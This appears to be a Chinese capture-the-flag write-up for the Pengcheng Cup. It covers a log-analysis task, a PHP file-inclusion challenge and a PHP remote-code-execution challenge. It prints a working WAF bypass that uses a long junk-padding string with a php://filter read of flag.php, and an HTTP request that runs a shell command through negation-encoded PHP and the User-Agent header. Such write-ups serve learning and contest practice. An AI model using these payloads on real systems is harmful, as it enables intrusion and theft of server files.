0%

鹏城杯

image-20220703101236246

what_is_log

查看附件日志,通过上下关联,分析看到数据库登陆的信息

img

即推断flag为PCL{1555a651a13ec074ce725383214fd7cc}

简单包含

image-20220703091710580

简单的文件包含,测试发现存在waf

image-20220703091740716

使用脏数据绕过,成功执行包含文件

wsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsywsywsywswyswyswyswyswywsywwsywwswywswyswyswywsywsywsywwsywwyswsywsywsywsywsywsywyswsywsywwsywsywsywsywsywsywsywsywsyywsywswsy&flag=php://filter/read=convert.base64-encode/resource=flag.php

image-20220703091822688

image-20220703091829686

PCL{bc58644f-f757-11ec-9edf-5224002d2b29}

简单的php

image-20220703092016853

简单分析一下代码,是get传参,对传参内容长度加以限制,并且过滤了字母和数字,整体来看这题考察的是无参数rce

写了个脚本进行无参绕过

img

通过绕过可以查看文件

img

最终在ua头修改内容为cat /ffffflaggg的情况下,实现无参rce,得到flag

POST /?code=[~%8C%86%8C%8B%9A%92][~%CF]([~%91%9A%87%8B][~%CF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][~%CF]())); HTTP/1.1
Host: 192.168.1.111:8220
User-Agent: cat /ffffflaggg
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.1.111:8220
Connection: close
Referer: http://192.168.1.111:8220/?code=[~%8C%86%8C%8B%9A%92][!%FF]();
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Content-Length: 0

img

PCL{b35a314f-ff57-13a2-9ad1-002d22deeb2a}

总结

24小时的比赛最后定格九十名,还是太菜,继续努力吧

image-20220703095958984

制作不易,如若感觉写的不错,欢迎打赏